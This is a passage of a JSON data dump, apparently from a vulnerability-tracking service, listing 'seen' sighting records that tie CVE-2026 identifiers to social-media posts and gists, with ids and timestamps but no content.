"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2773", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevpneau2d", "content": "", "creation_timestamp": "2026-02-25T00:02:17.198709Z"}, {"uuid": "b7e381f8-ed9f-4536-bff2-70785239baa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27597", "type": "seen", "source": "https://gist.github.com/alon710/08dcac21faab3680bc696fdf3a7877bd", "content": "", "creation_timestamp": "2026-02-25T17:40:18.000000Z"}, {"uuid": "a019beec-a3b9-465b-8c51-99d9b1f563a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27965", "type": "seen", "source": "https://gist.github.com/alon710/698e47d7e7b029f09315d51259967445", "content": "", "creation_timestamp": "2026-02-26T23:10:18.000000Z"}, {"uuid": "20914d89-e52f-43aa-9c3f-a807cafae8f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27576", "type": "seen", "source": "https://gist.github.com/alon710/63b57342d7d50b3729afe629902bba13", "content": "", "creation_timestamp": "2026-02-21T10:10:40.000000Z"}, {"uuid": "1ce57e09-cbc5-41b6-9fa8-4265179d4abc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2770", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevpneau2d", "content": "", "creation_timestamp": "2026-02-25T00:02:16.924233Z"}, {"uuid": "cd00e60c-3ae5-425c-bcce-1b4d1ecc1ea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27449", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsd2w6jlm2e", "content": "", "creation_timestamp": "2026-02-26T23:12:40.258369Z"}, {"uuid": "a11992f9-aa92-48b1-8450-2f4a9bee5e0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2771", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevpneau2d", "content": "", "creation_timestamp": "2026-02-25T00:02:17.011270Z"}, {"uuid": "c7d3b23f-e77d-4b1b-964b-bd0c964aee3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27730", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpa4lpqqn2y", "content": "", "creation_timestamp": "2026-02-25T17:41:55.869054Z"}, {"uuid": "011ca7af-2333-48be-bf10-d14c8e046393", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27457", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsddumm252e", "content": "", "creation_timestamp": "2026-02-26T23:17:40.433920Z"}, {"uuid": "285ee240-5e82-4dbc-adc1-84cac736e690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2772", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevpneau2d", "content": "", "creation_timestamp": "2026-02-25T00:02:17.116134Z"}, {"uuid": "84534ab5-48d9-44fe-a7d4-45364d62c0a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27127", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mflhh4ikiv2n", "content": "", "creation_timestamp": "2026-02-24T05:42:26.020944Z"}, {"uuid": "4a643d7c-bb5b-453b-ae38-7d0604bdd935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2774", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevqoyme27", "content": "", "creation_timestamp": "2026-02-25T00:02:18.162901Z"}, {"uuid": "095f75d5-373e-4647-971c-d973aab70550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2777", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevqoyme27", "content": "", "creation_timestamp": "2026-02-25T00:02:18.431604Z"}, {"uuid": "8829ad5c-70e8-419d-a85a-7eb9ebb6a43d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27835", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsdmt2wmg2y", "content": "", "creation_timestamp": "2026-02-26T23:22:40.682032Z"}, {"uuid": "9142a3da-fbad-4b7c-a549-e89a4e90c116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://bsky.app/profile/sambowne.infosec.exchange.ap.brid.gy/post/3mg46d6u62uh2", "content": "", "creation_timestamp": "2026-03-02T21:14:31.833683Z"}, {"uuid": "1440dde7-442a-4ca3-bb34-b26f53678724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2775", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevqoyme27", "content": "", "creation_timestamp": "2026-02-25T00:02:18.277024Z"}, {"uuid": "80a35908-3007-4b93-8831-ade321299659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2778", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevqoyme27", "content": "", "creation_timestamp": "2026-02-25T00:02:18.530497Z"}, {"uuid": "769b7e2c-b0fc-424e-bf2d-ddc144752883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "seen", "source": "https://bsky.app/profile/sambowne.infosec.exchange.ap.brid.gy/post/3mg46d6u62uh2", "content": "", "creation_timestamp": "2026-03-02T21:14:31.943705Z"}, {"uuid": "516f7654-a643-4c3c-a6e0-612b5e33bcb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2776", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevqoyme27", "content": "", "creation_timestamp": "2026-02-25T00:02:18.352451Z"}, {"uuid": "afdaa230-d2d1-4dbb-86c8-32ab0a65d5e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2779", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevrqegb2o", "content": "", "creation_timestamp": "2026-02-25T00:02:19.549852Z"}, {"uuid": "78d95049-7fba-4486-9788-610501fdb985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27702", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg5pt5r54i22", "content": "", "creation_timestamp": "2026-03-03T12:00:15.214226Z"}, {"uuid": "caa7059f-84cd-4078-84df-747806f3f1ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2780", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevrqegb2o", "content": "", "creation_timestamp": "2026-02-25T00:02:19.642951Z"}, {"uuid": "e2d70225-2c99-45ba-872f-d6d28b165823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27487", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfligxm3ch2r", "content": "", "creation_timestamp": "2026-02-24T06:00:15.446279Z"}, {"uuid": "2b2f6599-87e1-40aa-89d0-76588e093780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2781", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevrqegb2o", "content": "", "creation_timestamp": "2026-02-25T00:02:19.750397Z"}, {"uuid": "a4cc3889-bb53-4bed-9b31-8c103af96d4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27487", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mfligyeec72l", "content": "", "creation_timestamp": "2026-02-24T06:00:16.223336Z"}, {"uuid": "e3e195f6-ba93-487e-b835-4e3510839b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2782", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevrqegb2o", "content": "", "creation_timestamp": "2026-02-25T00:02:19.827777Z"}, {"uuid": "b16f363f-f38a-4686-a265-1161332572fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27699", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpavqs3c52c", "content": "", "creation_timestamp": "2026-02-25T17:56:00.478959Z"}, {"uuid": "a043668d-83b5-4b5f-9bac-748a91fa7d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2783", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevrqegb2o", "content": "", "creation_timestamp": "2026-02-25T00:02:19.906711Z"}, {"uuid": "d8cb88fa-1a54-4b66-bae1-35189fc2e24d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2784", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevsrrem2c", "content": "", "creation_timestamp": "2026-02-25T00:02:21.415654Z"}, {"uuid": "f88373f5-ed11-4fc2-a7ea-67c7cda9d90e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27848", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpaxgzf5h2u", "content": "", "creation_timestamp": "2026-02-25T17:56:57.210167Z"}, {"uuid": "f8dd879e-311f-4e5a-8dbe-db6c0a7d829f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27129", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mflijndjck2k", "content": "", "creation_timestamp": "2026-02-24T06:01:45.064692Z"}, {"uuid": "994f7dc3-57f4-4471-956e-d2e47efd8be0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2785", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevsrrem2c", "content": "", "creation_timestamp": "2026-02-25T00:02:21.517972Z"}, {"uuid": "8d0c342b-9c4d-4453-9b6d-19c2856a4839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27699", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpaxj2jkf2c", "content": "", "creation_timestamp": "2026-02-25T17:56:59.769717Z"}, {"uuid": "f57c8c8a-48f2-4fc2-8b46-cb6478fdcbdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2786", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevsrrem2c", "content": "", "creation_timestamp": "2026-02-25T00:02:21.610505Z"}, {"uuid": "6881bde7-e492-4402-8eb6-e1b1444860c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27745", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpaxqcv4i2u", "content": "", "creation_timestamp": "2026-02-25T17:57:07.527569Z"}, {"uuid": "807a79fb-9c3a-4797-8d85-0752ba201911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mg5spafiw22m", "content": "", "creation_timestamp": "2026-03-03T12:51:49.565071Z"}, {"uuid": "1f392e38-09e9-4e76-b65f-b8ba3d168f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2787", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevsrrem2c", "content": "", "creation_timestamp": "2026-02-25T00:02:21.687619Z"}, {"uuid": "d1d202c3-163a-4642-bd33-b3a5b23b3881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mg5spdvfxs2m", "content": "", "creation_timestamp": "2026-03-03T12:51:50.661105Z"}, {"uuid": "633b39e6-b8d9-4b7c-b05a-68ad0899a137", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2788", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevsrrem2c", "content": "", "creation_timestamp": "2026-02-25T00:02:21.773911Z"}, {"uuid": "d17c7d37-2827-4af9-bed4-d9c4eed63bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27745", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpayv4aky2v", "content": "", "creation_timestamp": "2026-02-25T17:57:45.798028Z"}, {"uuid": "184da383-021d-4e83-a85f-7a9036c14266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mg5spdvhwc2m", "content": "", "creation_timestamp": "2026-03-03T12:51:51.716686Z"}, {"uuid": "bc86d64b-fad7-4350-a077-e57e379e0271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2789", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevtu6ue22", "content": "", "creation_timestamp": "2026-02-25T00:02:22.949133Z"}, {"uuid": "a8553d34-f7ce-4ba7-b938-c50f381596b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27743", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpaz3qetm2k", "content": "", "creation_timestamp": "2026-02-25T17:57:52.488412Z"}, {"uuid": "d1238706-d327-4471-b394-7e703952fbc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2790", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevtu6ue22", "content": "", "creation_timestamp": "2026-02-25T00:02:23.037343Z"}, {"uuid": "7fecbbbc-5fa6-4238-9ad1-6bb3a7e54fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2793", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevtu6ue22", "content": "", "creation_timestamp": "2026-02-25T00:02:23.298260Z"}, {"uuid": "7f98d85e-736f-4c71-b0d8-8d29c6cadc24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27495", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/116165340674775673", "content": "", "creation_timestamp": "2026-03-03T12:53:51.713606Z"}, {"uuid": "90ca63f3-ee55-49e4-9c42-b3b7080e6250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2791", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevtu6ue22", "content": "", "creation_timestamp": "2026-02-25T00:02:23.141098Z"}, {"uuid": "d6ea1e6c-621b-47f4-9691-746448cf23e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpbafhkvn2d", "content": "", "creation_timestamp": "2026-02-25T18:01:58.122447Z"}, {"uuid": "c2bed0e6-53e9-4097-a1b0-26c0c5028977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2792", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevtu6ue22", "content": "", "creation_timestamp": "2026-02-25T00:02:23.226677Z"}, {"uuid": "6accfb3e-2ba0-4841-878f-b86b23989614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27170", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mflmvtyt2a2r", "content": "", "creation_timestamp": "2026-02-24T07:20:09.693786Z"}, {"uuid": "4f759334-b20c-4503-a232-4fed9d50dfb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27700", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpbjdvysl2v", "content": "", "creation_timestamp": "2026-02-25T18:06:58.219139Z"}, {"uuid": "7dee5d1b-513e-406c-9444-e036876ddf5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27702", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpbl5gx522x", "content": "", "creation_timestamp": "2026-02-25T18:07:57.714277Z"}, {"uuid": "aea9b567-efe7-4055-9d6c-fbbcd13007fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27127", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116124433256203308", "content": "", "creation_timestamp": "2026-02-24T07:30:32.778664Z"}, {"uuid": "dbe96c8c-5ae5-4adf-8bf1-bb3e5a04bbd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27127", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mflnii2c4j2n", "content": "", "creation_timestamp": "2026-02-24T07:30:35.163524Z"}, {"uuid": "50541db6-b7dd-4a61-a211-20acc76e2546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mftunzutkf2u", "content": "", "creation_timestamp": "2026-02-27T14:00:15.095693Z"}, {"uuid": "0a2484ba-8b66-4518-b045-8d9d97b396dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27744", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpbtcohfi2d", "content": "", "creation_timestamp": "2026-02-25T18:12:32.229251Z"}, {"uuid": "190ddf26-7f8e-4499-95f3-4c97ca40cf95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mg7addht2w2h", "content": "", "creation_timestamp": "2026-03-04T02:28:18.340896Z"}, {"uuid": "5497be5c-a235-4a46-8041-e5af5d60ff5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27932", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgdmov63bu2e", "content": "", "creation_timestamp": "2026-03-05T20:20:09.877421Z"}, {"uuid": "c203e3dd-604d-40b8-9d65-f70b2914a6e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27628", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpbtj6myz2x", "content": "", "creation_timestamp": "2026-02-25T18:12:38.871310Z"}, {"uuid": "788e3910-e1c1-44b4-80f9-be8a04a40b36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27981", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgdnsoog7p2e", "content": "", "creation_timestamp": "2026-03-05T20:40:10.906370Z"}, {"uuid": "a805d360-0139-49bf-8374-6da67af89619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27606", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpbtpplw52s", "content": "", "creation_timestamp": "2026-02-25T18:12:45.755282Z"}, {"uuid": "fe5e4144-1ebe-4fec-9603-cc47a2c6e62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27701", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpbu3u2kf2o", "content": "", "creation_timestamp": "2026-02-25T18:12:58.085027Z"}, {"uuid": "3a367d67-091a-4d46-8cea-3c79f8b74673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27568", "type": "seen", "source": "https://gist.github.com/alon710/7f3ee8f74d3d01aa3cdc38f77e2a5fda", "content": "", "creation_timestamp": "2026-02-25T01:08:18.000000Z"}, {"uuid": "51a4915b-442b-41ac-b7dc-89dc42a3f2c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27195", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpc2xrnsz2d", "content": "", "creation_timestamp": "2026-02-25T18:16:49.376440Z"}, {"uuid": "6c53ad9c-b6e3-4083-aca6-4795ea826f88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27211", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mftuxb2hgv2v", "content": "", "creation_timestamp": "2026-02-27T14:05:24.540304Z"}, {"uuid": "09ba99a0-f9c6-4dbb-b05a-cc03d03710de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27751", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg7c4iqad224", "content": "", "creation_timestamp": "2026-03-04T03:00:16.060053Z"}, {"uuid": "fc89f673-b5e7-4ae8-a748-5811863829be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27099", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mf5uljsdv22c", "content": "", "creation_timestamp": "2026-02-18T20:00:17.267035Z"}, {"uuid": "69854bac-3196-45f5-8994-0693579f8945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27572", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpc366gkj2d", "content": "", "creation_timestamp": "2026-02-25T18:16:55.981036Z"}, {"uuid": "415ab7fd-c967-4ed0-aced-eca2089c0672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27575", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfsnz46cby2k", "content": "", "creation_timestamp": "2026-02-27T02:28:30.646459Z"}, {"uuid": "5b44dfaf-5676-4981-97f6-3f7eb70fe398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27127", "type": "seen", "source": "https://bsky.app/profile/fortrabbit.com/post/3mgdoufmtwd23", "content": "", "creation_timestamp": "2026-03-05T20:59:02.073074Z"}, {"uuid": "85451c67-0e14-4f3f-b736-c00fd774c276", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27099", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116093407363925902", "content": "", "creation_timestamp": "2026-02-18T20:00:19.567568Z"}, {"uuid": "84494ed8-43e7-494a-a336-94853de8af33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27588", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpc3etjiv2n", "content": "", "creation_timestamp": "2026-02-25T18:17:03.254183Z"}, {"uuid": "7ca71f63-f16a-4d9c-8bb3-1d28b48aeb6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27028", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg5wjpobiq2r", "content": "", "creation_timestamp": "2026-03-03T14:00:14.993997Z"}, {"uuid": "f28048d9-9c14-4d84-b8ed-4e36f2d5c059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27707", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgavjfximb2m", "content": "", "creation_timestamp": "2026-03-04T18:20:10.836022Z"}, {"uuid": "07623fd6-42c7-4e80-adf0-8dc6917eaace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 